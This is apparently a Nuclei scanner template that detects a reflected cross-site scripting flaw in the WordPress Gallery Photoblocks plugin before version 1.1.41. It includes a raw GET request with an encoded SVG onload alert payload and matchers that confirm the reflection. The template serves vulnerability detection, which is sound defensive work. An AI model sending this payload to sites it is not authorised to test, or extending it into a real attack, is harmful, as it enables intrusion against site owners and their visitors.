id: photoblocks-grid-gallery-xss

info:
  name: Gallery Photoblocks < 1.1.41 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Reflected Cross-Site Scripting (XSS) is a type of web vulnerability where an attacker injects malicious scripts into a website, and the injected code gets reflected back to the user's browser, executing the script in the context of the vulnerable website.
  remediation: Fixed in version 1.1.41
  reference:
    - https://plugins.trac.wordpress.org/changeset/2117972
    - https://wpscan.com/vulnerability/5c57e78a-97b9-4e23-8935-e4c9d806c89d
    - https://wordpress.org/plugins/photoblocks-grid-gallery/
  classification:
    cpe: cpe:2.3:a:wpchill:gallery_photoblocks:*:*:*:*:wordpress:*:*:*
    cwe-id: CWE-79,CWE-83
  metadata:
    verified: true
    max-request: 1
    vendor: wpchill
    product: gallery_photoblocks
    publicwww-query: "/wp-content/plugins/photoblocks-grid-gallery/"
  tags: wordpress,wpscan,photoblocks,wp-plugin,wp,xss,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins/photoblocks-grid-gallery/admin/partials/photoblocks-edit.php?id=%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<svg/onload=alert(document.domain)>")'
          - 'contains(body, "PhotoBlocks")'
        condition: and
# digest: 4a0a0047304502201036e7c3475bc2f99e5e8da76990c5c3c242d9289ada203aa579f66f471c122a022100c946ed9e11e764750b430dffc93a5f936236c5ef5592b9e3c7d6e0232a3321a6:922c64590222798bb761d5b6d8e72950